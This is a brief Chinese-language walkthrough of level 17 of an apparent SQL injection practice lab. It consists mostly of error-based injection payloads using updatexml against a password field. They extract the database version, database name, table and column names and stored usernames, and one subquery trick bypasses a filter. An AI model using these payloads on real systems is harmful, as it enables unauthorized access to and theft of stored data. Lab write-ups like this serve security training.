第十七关
17关可以先随便输入一点东西,可以看见页面显示红色的字样,没有其他东西,显示
同时可以发现输入框上面给了我们一个用户名,我们再来试试
输入用户名的同时在密码框输入1‘’
会发现有报错信息,那么就可以进行报错注入
获取数据库版本
1' or updatexml(1,concat(0x7e,version()),1)-- qq
获取当前数据库名
1' or updatexml(1,concat(0x7e,database()),1)-- qq
获取当前库下的表名
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- qq
获取字段名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),1)-- qq
获取内容
1' and updatexml(1,concat(0x7e,(select username from (select username from users)a limit 3,1)),1)-- qq
加了过滤规则,updatexml不能直接放表名
用(select username from users)a
绕过